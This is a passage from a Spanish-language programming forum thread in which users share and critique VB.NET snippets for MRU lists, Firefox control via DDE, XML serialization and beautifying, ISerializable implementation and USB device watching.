  110.            Dim Serializer = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  111.  
  112.            ' Deserialization.
  113.            Using Reader As New System.IO.FileStream(filepath, System.IO.FileMode.Open)
  114.  
  115.                MRUItemCollection = Serializer.Deserialize(Reader)
  116.  
  117.            End Using ' Reader
  118.  
  119.        End Sub
  120.  
  121.        ''' <summary>
  122.        ''' Loads the specified <see cref="MRU.Item"/> Collection from a local file, using the specified deserialization.
  123.        ''' </summary>
  124.        ''' <typeparam name="T"></typeparam>
  125.        ''' <param name="filepath">The filepath to load its <see cref="MRU.Item"/> Collection.</param>
  126.        Public Shared Function Load(Of T)(ByVal filepath As String) As T
  127.  
  128.            Dim Serializer = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
  129.  
  130.            ' Deserialization.
  131.            Using Reader As New System.IO.FileStream(filepath, System.IO.FileMode.Open)
  132.  
  133.                Return Serializer.Deserialize(Reader)
  134.  
  135.            End Using ' Reader
  136.  
  137.        End Function
  138.  
  139. #End Region
  140.  
  141.    End Class
  142.  
  143. #End Region
  144.  
  145. #Region " Item "
  146.  
  147.    ''' <summary>
  148.    ''' An Item for a MostRecentUsed-Item collection that stores the item filepath and optionally additional info.
  149.    ''' This Class can be serialized.
  150.    ''' </summary>
  151.    <Serializable()>
  152.    Public Class Item
  153.  
  154. #Region " Constructors "
  155.  
  156.        ''' <summary>
  157.        ''' Prevents a default instance of the <see cref="MRU.Item"/> class from being created.
  158.        ''' </summary>
  159.        Private Sub New()
  160.        End Sub
  161.  
  162.        ''' <summary>
  163.        ''' Initializes a new instance of the <see cref="MRU.Item"/> class.
  164.        ''' </summary>
  165.        ''' <param name="FilePath">The item filepath.</param>
  166.        ''' <exception cref="System.ArgumentNullException">FilePath</exception>
  167.        Public Sub New(ByVal FilePath As String)
  168.  
  169.            If FilePath Is Nothing Then
  170.                Throw New ArgumentNullException("FilePath")
  171.            End If
  172.  
  173.            Me._FilePath = FilePath
  174.  
  175.        End Sub
  176.  
  177.        ''' <summary>
  178.        ''' Initializes a new instance of the <see cref="MRU.Item"/> class.
  179.        ''' </summary>
  180.        ''' <param name="File">The fileinfo object.</param>
  181.        Public Sub New(ByVal File As System.IO.FileInfo)
  182.  
  183.            Me.New(File.FullName)
  184.  
  185.        End Sub
  186.  
  187. #End Region
  188.  
  189. #Region " Properties "
  190.  
  191.        ''' <summary>
  192.        ''' Gets the item filepath.
  193.        ''' </summary>
  194.        ''' <value>The file path.</value>
  195.        Public ReadOnly Property FilePath As String
  196.            Get
  197.                Return Me._FilePath
  198.            End Get
  199.        End Property
  200.        Private _FilePath As String = String.Empty
  201.  
  202.        ''' <summary>
  203.        ''' Gets the FileInfo object of the item.
  204.        ''' </summary>
  205.        ''' <value>The FileInfo object.</value>
  206.        Public ReadOnly Property FileInfo As System.IO.FileInfo
  207.            Get
  208.                Return New System.IO.FileInfo(FilePath)
  209.            End Get
  210.        End Property
  211.  
  212.        ''' <summary>
  213.        ''' (Optionally) Gets or sets the item last-time open date.
  214.        ''' </summary>
  215.        ''' <value>The index.</value>
  216.        Public Property [Date] As Date
  217.  
  218.        ''' <summary>
  219.        ''' (Optionally) Gets or sets the item icon.
  220.        ''' </summary>
  221.        ''' <value>The icon.</value>
  222.        Public Property Icon As Bitmap
  223.  
  224.        ''' <summary>
  225.        ''' (Optionally) Gets or sets the item tag.
  226.        ''' </summary>
  227.        ''' <value>The tag object.</value>
  228.        Public Property Tag As Object
  229.  
  230. #End Region
  231.  
  232.    End Class
  233.  
  234. #End Region
  235.  
  236. #End Region
  237.  
  238. End Class
  239.  
  240. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 4 Agosto 2014, 20:13 pm
Ejemplos de uso de la librería nDDE (https://ndde.codeplex.com/)para controlar un navegador compatible (aunque la verdad, DDE es muy limitado ...por no decir obsoleto, es preferible echar mano de UI Automation (http://msdn.microsoft.com/en-us/library/ms747327%28v=vs.110%29.aspx)).

Nota: Aquí teneis algunos ServiceNames y Topics de DDE para IExplore por si alguien está interesado en esta librería: support.microsoft.com/kb/160957 (http://support.microsoft.com/kb/160957)
        He probado el tópico "WWW_Exit" por curiosidad y funciona, pero ninguno de ellos funciona en Firefox (solo los que añadi a la Class de abajo).

Código
  1.    ' nDDE Helper
  2.    ' By Elektro
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'NDDE.dll' library.
  6.    '
  7.    ' Usage Examples:
  8.    ' MessageBox.Show(GetFirefoxUrl())
  9.    ' NavigateFirefox(New Uri("http://www.mozilla.org"), OpenInNewwindow:=False)
  10.  
  11.    ''' <summary>
  12.    ''' Gets the url of the active Tab-page from a running Firefox process.
  13.    ''' </summary>
  14.    ''' <returns>The url of the active Tab-page.</returns>
  15.    Public Function GetFirefoxUrl() As String
  16.  
  17.        Using dde As New DdeClient("Firefox", "WWW_GetWindowInfo")
  18.  
  19.            dde.Connect()
  20.  
  21.            Dim Url As String =
  22.                dde.Request("URL", Integer.MaxValue).
  23.                    Trim({ControlChars.NullChar, ControlChars.Quote, ","c})
  24.  
  25.  
  26.            dde.Disconnect()
  27.  
  28.            Return Url
  29.  
  30.        End Using
  31.  
  32.    End Function
  33.  
  34.    ''' <summary>
  35.    ''' Navigates to an URL in the running Firefox process.
  36.    ''' </summary>
  37.    ''' <param name="url">Indicates the URL to navigate.</param>
  38.    ''' <param name="OpenInNewwindow">
  39.    ''' If set to <c>true</c> the url opens in a new Firefox window, otherwise, the url opens in a new Tab.
  40.    ''' </param>
  41.    Public Sub NavigateFirefox(ByVal url As Uri,
  42.                               ByVal OpenInNewwindow As Boolean)
  43.  
  44.        Dim Address As String = url.AbsoluteUri
  45.  
  46.        If OpenInNewwindow Then
  47.            Address &= ",,0"
  48.        End If
  49.  
  50.        Using dde As New DdeClient("Firefox", "WWW_OpenURL")
  51.  
  52.            dde.Connect()
  53.            dde.Request(Address, Integer.MaxValue)
  54.            dde.Disconnect()
  55.  
  56.        End Using
  57.  
  58.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 8 Agosto 2014, 17:11 pm
Muy buenas, después de estar bastante tiempo sin subir nada aquí tengo una cosita interesante :P

Creo que algunas de estas utilidades están ya presentes dentro de lo que es la super colección de Elektro, pero bueno supongo que un indentador XML nunca se ha visto por aquí así que aquí va:

Código
  1. Imports System.IO
  2. Imports System.Xml
  3. Imports System.Xml.Serialization
  4.  
  5. Public Class XMLTools
  6.  
  7.    Public Shared Function Serialize(Of T)(value As T, Optional ByVal indented As Boolean = False) As String
  8.        If value Is Nothing Then
  9.            Throw New Exception("XMLSerializer - The value passed is null!")
  10.            Return ""
  11.        End If
  12.        Try
  13.  
  14.            Dim xmlserializer As New XmlSerializer(GetType(T))
  15.            Dim serializeXml As String = ""
  16.  
  17.            Using stringWriter As New StringWriter()
  18.  
  19.                Using writer As XmlWriter = XmlWriter.Create(stringWriter)
  20.                    xmlserializer.Serialize(writer, value)
  21.                    serializeXml = stringWriter.ToString()
  22.                End Using
  23.  
  24.                If indented Then
  25.                    serializeXml = Beautify(serializeXml)
  26.                End If
  27.  
  28.            End Using
  29.  
  30.            Return serializeXml
  31.        Catch ex As Exception
  32.            Throw New Exception(ex.Message)
  33.            Return ""
  34.        End Try
  35.    End Function
  36.  
  37.    Public Shared Function Deserialize(Of T)(value As String) As T
  38.  
  39.        Try
  40.            Dim returnvalue As New Object()
  41.            Dim xmlserializer As New XmlSerializer(GetType(T))
  42.            Dim reader As TextReader = New StringReader(value)
  43.  
  44.            returnvalue = xmlserializer.Deserialize(reader)
  45.  
  46.            reader.Close()
  47.            Return DirectCast(returnvalue, T)
  48.        Catch ex As Exception
  49.            Throw New Exception(ex.Message)
  50.            Return Nothing
  51.        End Try
  52.  
  53.    End Function
  54.  
  55.    Public Shared Sub SerializeToFile(Of T)(value As T, filePath As String, Optional ByVal indented As Boolean = False)
  56.        If value Is Nothing Then
  57.            Throw New Exception("XMLSerializer - The value passed is null!")
  58.        End If
  59.        Try
  60.            Dim xmlserializer As New XmlSerializer(GetType(T))
  61.            Using fileWriter As StreamWriter = New StreamWriter(filePath)
  62.                If indented Then
  63.                    Using stringWriter As New StringWriter()
  64.                        Using writer As XmlWriter = XmlWriter.Create(stringWriter)
  65.                            xmlserializer.Serialize(writer, value)
  66.                            fileWriter.WriteLine(Beautify(stringWriter.ToString()))
  67.                        End Using
  68.                    End Using
  69.                Else
  70.                    Using writer As XmlWriter = XmlWriter.Create(fileWriter)
  71.                        xmlserializer.Serialize(writer, value)
  72.                    End Using
  73.                End If
  74.            End Using
  75.  
  76.        Catch ex As Exception
  77.            Throw New Exception(ex.Message)
  78.        End Try
  79.    End Sub
  80.  
  81.    Public Shared Function DeserializeFromFile(Of T)(filePath As String) As T
  82.  
  83.        Try
  84.            Dim returnvalue As New Object()
  85.            Dim xmlserializer As New XmlSerializer(GetType(T))
  86.            Using reader As TextReader = New StreamReader(filePath)
  87.                returnvalue = xmlserializer.Deserialize(reader)
  88.            End Using
  89.            Return DirectCast(returnvalue, T)
  90.        Catch ex As Exception
  91.            Throw New Exception(ex.Message)
  92.            Return Nothing
  93.        End Try
  94.  
  95.    End Function
  96.  
  97.    Public Shared Function Beautify(obj As Object) As String
  98.        Dim doc As New XmlDocument()
  99.        If obj.[GetType]() Is GetType(String) Then
  100.            If Not [String].IsNullOrEmpty(DirectCast(obj, String)) Then
  101.                Try
  102.                    doc.LoadXml(DirectCast(obj, String))
  103.                Catch ex As Exception
  104.                    Throw New Exception("XMLIndenter - Wrong string format! [" + ex.Message & "]")
  105.                    Return ""
  106.                End Try
  107.            Else
  108.                Throw New Exception("XMLIndenter - String is null!")
  109.                Return ""
  110.            End If
  111.        ElseIf obj.[GetType]() Is GetType(XmlDocument) Then
  112.            doc = DirectCast(obj, XmlDocument)
  113.        Else
  114.            Throw New Exception("XMLIndenter - Not supported type!")
  115.            Return ""
  116.        End If
  117.        Dim returnValue As String = ""
  118.        Using w As New MemoryStream()
  119.            Using writer As New XmlTextWriter(w, Encoding.Unicode)
  120.                writer.Formatting = Formatting.Indented
  121.                doc.WriteContentTo(writer)
  122.  
  123.                writer.Flush()
  124.                w.Seek(0L, SeekOrigin.Begin)
  125.  
  126.                Using reader As New StreamReader(w)
  127.                    returnValue = reader.ReadToEnd()
  128.                End Using
  129.            End Using
  130.        End Using
  131.    End Function
  132.  
  133. End Class

Un saludo.


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Agosto 2014, 18:11 pm
Creo que algunas de estas utilidades están ya presentes dentro de lo que es la super colección de Elektro, pero bueno supongo que un indentador XML nunca se ha visto por aquí así que aquí va:

precisamente estoy harto de que cierta utilidad de Microsoft me genere los archivos de manifiesto sin ningún tipo de indentación, esto me sirve ;).

EDITO: en un principio iba a ahorrarme comentarios sobre posibles mejoras de código o etc, pero hay un fallo importante que se debe corregir, no estás liberando el memorystream:
Citar
Código
  1. Dim w As New MemoryStream()

Ni tampoco el Writer ni el Reader xD

Por cierto la Class XMLTextWriter está obsoleta, en su defecto Microsoft recomienda el uso de XMLWriter.

EDITO 2: Me he tomado la libertad de editar el código original enfocándolo de otra manera (aunque tampoco es tan distinto):

Ejemplo de uso:

Código
  1.        Dim TextEncoding As System.Text.Encoding = System.Text.Encoding.Default
  2.        Dim UnformattedXMLDocument As String = IO.File.ReadAllText("C:\Unformatted Document.xml", TextEncoding)
  3.        Dim FormattedXMLDocument As String = XMLBeautify(XMLText:=UnformattedXMLDocument,
  4.                                                         IndentChars:=New String(" "c, 2),
  5.                                                         IndentOnAttributes:=False,
  6.                                                         TextEncoding:=TextEncoding)
  7.  
  8.        IO.File.WriteAllText("C:\Formatted Document.xml", FormattedXMLDocument, TextEncoding)


Snippet:

Código
  1.    ''' <summary>
  2.    ''' Beautifies the contents of an unindented XML document.
  3.    ''' </summary>
  4.    ''' <param name="XMLText">
  5.    ''' The XML text content.
  6.    ''' It can be an entire document or a fragment.
  7.    ''' </param>
  8.    ''' <param name="IndentChars">
  9.    ''' The string that is used to indent the XML.
  10.    ''' Default value is: <see cref="ControlChars.Tab"/>
  11.    ''' </param>
  12.    ''' <param name="IndentOnAttributes">
  13.    ''' If set to <c>true</c>, attributes will be separated by newlines.
  14.    ''' Default value is: <c>false</c>
  15.    ''' </param>
  16.    ''' <param name="TextEncoding">
  17.    ''' The XML text encoding to use.
  18.    ''' Default value is: <see cref="System.Text.Encoding.Default"/>.
  19.    ''' </param>
  20.    ''' <returns>The beautified XML text.</returns>
  21.    ''' <exception cref="System.ArgumentNullException"></exception>
  22.    Public Shared Function XMLBeautify(ByVal XMLText As String,
  23.                                       Optional ByVal IndentChars As String = Nothing,
  24.                                       Optional ByVal IndentOnAttributes As Boolean = False,
  25.                                       Optional ByVal TextEncoding As System.Text.Encoding = Nothing) As String
  26.  
  27.        If String.IsNullOrEmpty(XMLText) Then
  28.            Throw New ArgumentNullException(XMLText)
  29.        End If
  30.  
  31.        Dim sb As New System.Text.StringBuilder
  32.        Dim doc As New Xml.XmlDocument()
  33.        Dim settings As New Xml.XmlWriterSettings
  34.  
  35.        With settings
  36.            .Indent = True
  37.            .CheckCharacters = True
  38.            .OmitXmlDeclaration = False
  39.            .ConformanceLevel = Xml.ConformanceLevel.Auto
  40.            .NamespaceHandling = Xml.NamespaceHandling.Default
  41.            .NewLineHandling = Xml.NewLineHandling.Replace
  42.            .NewLineChars = ControlChars.NewLine
  43.            .NewLineOnAttributes = IndentOnAttributes
  44.            .IndentChars = If(IndentChars IsNot Nothing, IndentChars, ControlChars.Tab)
  45.            .Encoding = If(TextEncoding IsNot Nothing, TextEncoding, System.Text.Encoding.Default)
  46.        End With
  47.  
  48.        Using writer As Xml.XmlWriter = Xml.XmlWriter.Create(sb, settings)
  49.            doc.LoadXml(XMLText)
  50.            doc.WriteContentTo(writer)
  51.            writer.Flush()
  52.            Return sb.ToString
  53.        End Using
  54.  
  55.    End Function
  56.  
  57.    ''' <summary>
  58.    ''' Beautifies the contents of an unindented XML document.
  59.    ''' </summary>
  60.    ''' <param name="XMLFile">
  61.    ''' An <see cref="T:IO.FileInfo"/> that contains the XML info.
  62.    ''' It can be an entire document or a fragment.
  63.    ''' </param>
  64.    ''' <param name="IndentChars">
  65.    ''' The string that is used to indent the XML.
  66.    ''' Default value is: <see cref="ControlChars.Tab"/>
  67.    ''' </param>
  68.    ''' <param name="IndentOnAttributes">
  69.    ''' If set to <c>true</c>, attributes will be separated by newlines.
  70.    ''' Default value is: <c>false</c>
  71.    ''' </param>
  72.    ''' <param name="TextEncoding">
  73.    ''' The XML text encoding to use.
  74.    ''' Default value is: <see cref="System.Text.Encoding.Default"/>.
  75.    ''' </param>
  76.    ''' <returns>The beautified XML text.</returns>
  77.    ''' <exception cref="System.ArgumentNullException"></exception>
  78.    Public Shared Function XMLBeautify(XMLFile As IO.FileInfo,
  79.                                       Optional ByVal IndentChars As String = Nothing,
  80.                                       Optional ByVal IndentOnAttributes As Boolean = False,
  81.                                       Optional ByVal TextEncoding As System.Text.Encoding = Nothing) As String
  82.  
  83.        Return XMLBeautify(IO.File.ReadAllText(XMLFile.FullName, TextEncoding), IndentChars, IndentOnAttributes, TextEncoding)
  84.  
  85.    End Function



Posibles outputs:

1º:

Código
  1. <savedata>
  2.  <SoftwareType>Freeware</SoftwareType>
  3.  <SoftwareID>Moo0 FileMonitor</SoftwareID>
  4.  <Version>1.11</Version>
  5.  <MainWindow>
  6.    <SoftwareType>Freeware</SoftwareType>
  7.    <SoftwareID>Moo0 FileMonitor</SoftwareID>
  8.    <Version>1.11</Version>
  9.    <View F="0" E="0" D="0" RefreshFrequency="500" LogUpTo="20000" EasyDrag="1" Maximized="0" X="958" Y="453" Width="962" Height="585" KeepOnTop="0"></View>
  10.    <ChangesColumnOrder length="6" _0="0" _1="1" _2="2" _3="3" _4="4" _5="5"></ChangesColumnOrder>
  11.  </MainWindow>
  12.  <Skin>Classic LG</Skin>
  13. </savedata>


2º:
Código
  1. <savedata>
  2.  <SoftwareType>Freeware</SoftwareType>
  3.  <SoftwareID>Moo0 FileMonitor</SoftwareID>
  4.  <Version>1.11</Version>
  5.  <MainWindow>
  6.    <SoftwareType>Freeware</SoftwareType>
  7.    <SoftwareID>Moo0 FileMonitor</SoftwareID>
  8.    <Version>1.11</Version>
  9.    <View
  10.      F="0"
  11.      E="0"
  12.      D="0"
  13.      RefreshFrequency="500"
  14.      LogUpTo="20000"
  15.      EasyDrag="1"
  16.      Maximized="0"
  17.      X="958"
  18.      Y="453"
  19.      Width="962"
  20.      Height="585"
  21.      KeepOnTop="0"></View>
  22.    <ChangesColumnOrder
  23.      length="6"
  24.      _0="0"
  25.      _1="1"
  26.      _2="2"
  27.      _3="3"
  28.      _4="4"
  29.      _5="5"></ChangesColumnOrder>
  30.  </MainWindow>
  31.  <Skin>Classic LG</Skin>
  32. </savedata>

Saludos


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Agosto 2014, 20:59 pm
Ejemplo de como implementar la interface ISerializable e IXMLSerializable:

Código
  1. #Region " Imports "
  2.  
  3. Imports System.Runtime.Serialization
  4. Imports System.Security.Permissions
  5. Imports System.Xml.Serialization
  6. Imports System.Xml
  7.  
  8. #End Region
  9.  
  10. ''' <summary>
  11. ''' SerializableClassTest.
  12. ''' This class can be serialized.
  13. ''' </summary>
  14. <Serializable>
  15. <XmlRoot("SerializableClassTest")>
  16. Public Class SerializableClassTest : Implements ISerializable : Implements IXmlSerializable
  17.  
  18. #Region "Properties"
  19.  
  20.    Public Property StrValue As String
  21.    Public Property Int32Value As Integer
  22.  
  23. #End Region
  24.  
  25. #Region "Constructors"
  26.  
  27.    ''' <summary>
  28.    ''' Prevents a default instance of the <see cref="SerializableClassTest"/> class from being created.
  29.    ''' </summary>
  30.    Private Sub New()
  31.    End Sub
  32.  
  33.    ''' <summary>
  34.    ''' Initializes a new instance of the <see cref="SerializableClassTest"/> class.
  35.    ''' </summary>
  36.    Public Sub New(ByVal StrValue As String,
  37.                   ByVal Int32Value As Integer)
  38.  
  39.        Me.StrValue = StrValue
  40.        Me.Int32Value = Int32Value
  41.  
  42.    End Sub
  43.  
  44. #End Region
  45.  
  46. #Region "ISerializable implementation" ' For Binary serialization.
  47.  
  48.    ''' <summary>
  49.    ''' Populates a <see cref="T:SerializationInfo"/> with the data needed to serialize the target object.
  50.    ''' </summary>
  51.    ''' <param name="info">The <see cref="T:SerializationInfo"/> to populate with data.</param>
  52.    ''' <param name="context">The destination (see <see cref="T:StreamingContext"/>) for this serialization.</param>
  53.    <SecurityPermissionAttribute(SecurityAction.LinkDemand, Flags:=SecurityPermissionFlag.SerializationFormatter)>
  54.    Protected Overridable Sub GetObjectData(ByVal info As SerializationInfo,
  55.                                            ByVal context As StreamingContext) Implements ISerializable.GetObjectData
  56.  
  57.        If info Is Nothing Then
  58.            Throw New ArgumentNullException("info")
  59.        End If
  60.  
  61.        With info
  62.  
  63.            .AddValue("PropertyName1", Me.StrValue, Me.StrValue.GetType)
  64.            .AddValue("PropertyName2", Me.Int32Value, Me.Int32Value.GetType)
  65.  
  66.        End With
  67.  
  68.    End Sub
  69.  
  70.    ''' <summary>
  71.    ''' Initializes a new instance of the <see cref="SerializableClassTest"/> class.
  72.    ''' This constructor is used to deserialize values.
  73.    ''' </summary>
  74.    ''' <param name="info">The information.</param>
  75.    ''' <param name="context">The context.</param>
  76.    Protected Sub New(ByVal info As SerializationInfo,
  77.                      ByVal context As StreamingContext)
  78.  
  79.        If info Is Nothing Then
  80.            Throw New ArgumentNullException("info")
  81.        End If
  82.  
  83.        Me.StrValue = info.GetString("PropertyName1")
  84.        Me.Int32Value = info.GetInt32("PropertyName2")
  85.  
  86.    End Sub
  87.  
  88. #End Region
  89.  
  90. #Region "IXMLSerializable implementation" ' For XML serialization.
  91.  
  92.    ''' <summary>
  93.    ''' This method is reserved and should not be used.
  94.    ''' When implementing the IXmlSerializable interface, you should return null (Nothing in Visual Basic) from this method,
  95.    ''' and instead, if specifying a custom schema is required, apply the <see cref="T:XmlSchemaProviderAttribute"/> to the class.
  96.    ''' </summary>
  97.    ''' <returns>
  98.    ''' An <see cref="T:Xml.Schema.XmlSchema"/> that describes the XML representation of the object
  99.    ''' that is produced by the <see cref="M:IXmlSerializable.WriteXml(Xml.XmlWriter)"/> method
  100.    ''' and consumed by the <see cref="M:IXmlSerializable.ReadXml(Xml.XmlReader)"/> method.
  101.    ''' </returns>
  102.    Public Function GetSchema() As Schema.XmlSchema Implements IXmlSerializable.GetSchema
  103.  
  104.        Return Nothing
  105.  
  106.    End Function
  107.  
  108.    ''' <summary>
  109.    ''' Converts an object into its XML representation.
  110.    ''' </summary>
  111.    ''' <param name="writer">The <see cref="T:Xml.XmlWriter"/> stream to which the object is serialized.</param>
  112.    Public Sub WriteXml(ByVal writer As XmlWriter) Implements IXmlSerializable.WriteXml
  113.  
  114.        writer.WriteElementString("PropertyName1", Me.StrValue)
  115.        writer.WriteElementString("PropertyName2", CStr(Me.Int32Value))
  116.  
  117.    End Sub
  118.  
  119.    ''' <summary>
  120.    ''' Generates an object from its XML representation.
  121.    ''' </summary>
  122.    ''' <param name="reader">The <see cref="T:Xml.XmlReader"/> stream from which the object is deserialized.</param>
  123.    Public Sub ReadXml(ByVal reader As XmlReader) Implements IXmlSerializable.ReadXml
  124.  
  125.        With reader
  126.  
  127.            .ReadStartElement(MyBase.GetType.Name)
  128.  
  129.            Me.StrValue = .ReadElementContentAsString
  130.            Me.Int32Value = .ReadElementContentAsInt
  131.  
  132.        End With
  133.  
  134.    End Sub
  135.  
  136. #End Region
  137.  
  138. End Class



Ejemplo de como usar la Class DeviceWatcher en un WinForms, sirve para detectar los eventos de inserción/extracción de los dispositivos, quizás se pueda utilizar como reemplazamiento del típico código de WMI para monitorizar USB's, pero todavía no le he podido sacar todo el jugo al asunto, poca documentación...

Código
  1. #Region " Instructions "
  2.  
  3.  
  4. ' 1. Create a new WinForms project targeting .NET Framework 4.5.
  5.  
  6.  
  7. ' 2. Close VisualStudio, open the 'YourProjectName.vbproj' file in a text-editor and add this property:
  8. ' *****************************************************************************************************
  9. '<PropertyGroup>
  10. '    ...
  11. '    <TargetPlatformVersion>8.0</TargetPlatformVersion>
  12. '    ...
  13. '</PropertyGroup>
  14.  
  15.  
  16. ' 3. Load the project in VisualStudio, open the 'References' menu and add these references:
  17. ' *****************************************************************************************
  18. ' C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\Facades\System.Runtime.dll
  19. ' C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\Facades\System.Runtime.InteropServices.WindowsRuntime.dll
  20.  
  21.  
  22. ' 4. In the 'References' menu, go to 'Windows > Core' tab and add these references:
  23. ' *********************************************************************************
  24. ' Windows.Devices
  25. ' Windows.Foundation
  26.  
  27.  
  28. #End Region
  29.  
  30. #Region " Imports "
  31.  
  32. Imports Windows.Devices.Enumeration
  33. Imports Windows.Foundation
  34.  
  35. #End Region
  36.  
  37. Public Class DeviceWatcher_Test
  38.  
  39.    Friend WithEvents dw As DeviceWatcher = DeviceInformation.CreateWatcher
  40.  
  41.    Private Sub Test() Handles MyBase.Load
  42.  
  43.        dw.Start()
  44.  
  45.    End Sub
  46.  
  47.    ''' <summary>
  48.    ''' Event that is raised when a device is added to the collection enumerated by the DeviceWatcher.
  49.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.added.aspx
  50.    ''' </summary>
  51.    ''' <param name="sender">The source of the event.</param>
  52.    ''' <param name="e">The <see cref="DeviceInformation"/> instance containing the event data.</param>
  53.    Private Sub dw_Added(ByVal sender As DeviceWatcher, ByVal e As DeviceInformation) _
  54.    Handles dw.Added
  55.  
  56.        Dim sb As New System.Text.StringBuilder
  57.  
  58.        With sb
  59.            .AppendLine("dw_added")
  60.            .AppendLine("********")
  61.            .AppendLine(String.Format("Interface ID.: {0}", e.Id))
  62.            .AppendLine(String.Format("Friendly Name: {0}", e.Name))
  63.            .AppendLine(String.Format("Is Enabled?..: {0}", e.IsEnabled))
  64.  
  65.            If e.Properties IsNot Nothing Then
  66.  
  67.                For Each item As KeyValuePair(Of String, Object) In e.Properties
  68.  
  69.                    If item.Value IsNot Nothing Then
  70.  
  71.                        .AppendLine(String.Format("TKey:{0}, TVal:{1} (TVal Type:{2})",
  72.                                                  item.Key, item.Value.ToString, item.Value.GetType.Name))
  73.  
  74.                    End If
  75.  
  76.                Next
  77.  
  78.            End If
  79.  
  80.        End With
  81.  
  82.        Debug.WriteLine(sb.ToString)
  83.  
  84.    End Sub
  85.  
  86.    ''' <summary>
  87.    ''' Event that is raised when a device is removed from the collection of enumerated devices.
  88.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.removed.aspx
  89.    ''' </summary>
  90.    ''' <param name="sender">The source of the event.</param>
  91.    ''' <param name="e">The <see cref="DeviceInformationUpdate"/> instance containing the event data.</param>
  92.    Private Sub dw_Removed(ByVal sender As DeviceWatcher, ByVal e As DeviceInformationUpdate) _
  93.    Handles dw.Removed
  94.  
  95.        Dim sb As New System.Text.StringBuilder
  96.  
  97.        With sb
  98.            .AppendLine("dw_Removed")
  99.            .AppendLine("**********")
  100.            .AppendLine(String.Format("Interface ID:{0}", e.Id))
  101.  
  102.            For Each item As KeyValuePair(Of String, Object) In e.Properties
  103.                .AppendLine(String.Format("TKey:{0}, TVal:{1} (TVal Type:{2})",
  104.                                          item.Key, item.Value.ToString, item.Value.GetType.Name))
  105.            Next
  106.  
  107.        End With
  108.  
  109.        Debug.WriteLine(sb.ToString)
  110.  
  111.    End Sub
  112.  
  113.    ''' <summary>
  114.    ''' Event that is raised when a device is updated in the collection of enumerated devices.
  115.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.updated.aspx
  116.    ''' </summary>
  117.    ''' <param name="sender">The source of the event.</param>
  118.    ''' <param name="e">The <see cref="DeviceInformationUpdate"/> instance containing the event data.</param>
  119.    Private Sub dw_Updated(ByVal sender As DeviceWatcher, ByVal e As DeviceInformationUpdate) _
  120.    Handles dw.Updated
  121.  
  122.        Dim sb As New System.Text.StringBuilder
  123.  
  124.        With sb
  125.            .AppendLine("dw_Updated")
  126.            .AppendLine("**********")
  127.            .AppendLine(String.Format("Interface ID: {0}", e.Id))
  128.  
  129.            For Each item As KeyValuePair(Of String, Object) In e.Properties
  130.  
  131.                If item.Key.EndsWith("InterfaceEnabled", StringComparison.OrdinalIgnoreCase) Then
  132.                    Dim Result As Boolean = CBool(item.Value)
  133.                    .AppendLine(String.Format("The device is accessible?:{0}", CStr(Result)))
  134.  
  135.                Else
  136.                    .AppendLine(String.Format("TKwy:{0}, TVal:{1} (TVal Type:{2})",
  137.                                              item.Key, item.Value.ToString, item.Value.GetType.Name))
  138.  
  139.                End If
  140.  
  141.            Next
  142.  
  143.        End With
  144.  
  145.        Debug.WriteLine(sb.ToString)
  146.  
  147.    End Sub
  148.  
  149.    ''' <summary>
  150.    ''' Event that is raised when the enumeration operation has been stopped.
  151.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.stopped.aspx
  152.    ''' </summary>
  153.    ''' <param name="sender">The source of the event.</param>
  154.    ''' <param name="e">The object containing the event data.</param>
  155.    Private Sub dw_Stopped(ByVal sender As DeviceWatcher, ByVal e As Object) _
  156.    Handles dw.Stopped
  157.  
  158.        Dim sb As New System.Text.StringBuilder
  159.  
  160.        With sb
  161.            .AppendLine("dw_Stopped")
  162.            .AppendLine("**********")
  163.            .AppendLine(String.Format("e:{1} (e Type:{2})",
  164.                                      e.ToString, e.GetType.Name))
  165.  
  166.        End With
  167.  
  168.        Debug.WriteLine(sb.ToString)
  169.  
  170.    End Sub
  171.  
  172.    ''' <summary>
  173.    ''' Event that is raised when the enumeration of devices completes.
  174.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/apps/windows.devices.enumeration.devicewatcher.enumerationcompleted.aspx
  175.    ''' </summary>
  176.    ''' <param name="sender">The source of the event.</param>
  177.    ''' <param name="e">The object containing the event data.</param>
  178.    Private Sub dw_EnumerationCompleted(ByVal sender As DeviceWatcher, ByVal e As Object) _
  179.    Handles dw.EnumerationCompleted
  180.  
  181.        If e IsNot Nothing Then
  182.  
  183.            Dim sb As New System.Text.StringBuilder
  184.  
  185.            With sb
  186.                .AppendLine("EnumerationCompleted")
  187.                .AppendLine("********************")
  188.                .AppendLine(String.Format("e:{1} (e Type:{2})",
  189.                                          e.ToString, e.GetType.Name))
  190.  
  191.            End With
  192.  
  193.            Debug.WriteLine(sb.ToString)
  194.  
  195.        End If
  196.  
  197.    End Sub
  198.  
  199. End Class
  200.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 8 Agosto 2014, 21:07 pm
Bueno, como siempre se agradecen sugerencias... Acabo de editar el código y sí, ese indentador no es mio, y la verdad es que tampoco me preocupe mucho, como vi que funciono la primera vez pues no le presté mucha atención...

Ahora como verás me he pasado poniendo usings, pero bueno >:D


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Agosto 2014, 21:13 pm
como vi que funciono la primera vez pues no le presté mucha atención...

Funciona a la primera según se mire, ya que el que escribió ese snippet definió el uso de la codificación UTF-16 (Encoding.Unicode) para todos los casos.

Ahora como verás me he pasado poniendo usings, pero bueno >:D

